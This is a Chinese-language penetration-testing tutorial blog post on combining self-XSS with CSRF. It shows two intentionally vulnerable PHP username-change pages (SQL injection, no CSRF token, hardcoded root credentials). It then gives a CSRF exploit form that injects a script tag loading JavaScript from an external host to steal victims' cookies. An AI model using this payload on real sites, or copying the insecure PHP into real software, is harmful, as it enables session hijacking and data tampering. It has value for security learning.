SelfXss+CSRF组合拳
网络安全自学篇-渗透测试(随笔一)
网络安全自学篇-渗透测试(随笔二)
selfxss就是只能对本地客户端产生影响的跨站脚本攻击,举例简单来说就是像获取到的cookie是自己的,显然这并没有什么实际危害,但是一旦结合跨站请求伪造则会导致危害升级,并且成为存储型的跨站脚本攻击。
这里我做了个更改用户名的案例:
change1.php:
<?php
header("content-type:text/html;charset=utf-8");
session_start();
$conn = mysql_connect("localhost","root","root");
mysql_select_db("csrf",$conn);
$sql = "SELECT username FROM user WHERE id=1;";
$result = mysql_query($sql);
while($row = mysql_fetch_array($result)) {
echo "当前用户名:".$row['username']."\n";
$_SESSION['username'] = $row['username'];
}
echo '<form action="change.php" method="post">
用户名:<input type="text" name="username"><br >
<input type="submit" name="submit" value="修改用户名">';
change.php
<?php
header("content-type:text/html;charset=utf-8");
session_start();
if(!isset($_SESSION['username'])) {
echo '<script>alert("请重新登录!")</script>';
exit();
}else{
$username = $_POST['username'];
$conn = mysql_connect("localhost","root","root");
mysql_select_db("csrf",$conn);
$sql = "UPDATE user SET username='$username' WHERE username=username;";
$result = mysql_query($sql);
if($result) {
echo '<script>alert("修改用户名成功!")</script>';
include("change1.php");
}else{
echo '<script>alert("修改用户名失败!")</script>';
}
}
首先我们打开change1.php
观察该页面可以看到修改用户名模块,尝试XSS,发现只是一个selfxss
由源代码可以知道该页面没有防止csrf,因此可以通过selfxss+csrf来扩大危害,也可从请求包看出
EXP如下:
<html>
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://*******/change.php" method="POST">
<input type="hidden" name="username" value="<sCRiPt sRC=https://******/ZSeF></sCrIpT>" />
<input type="hidden" name="submit" value="修改用户名" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
诱使用户点击
成功取到cookie并且是存储型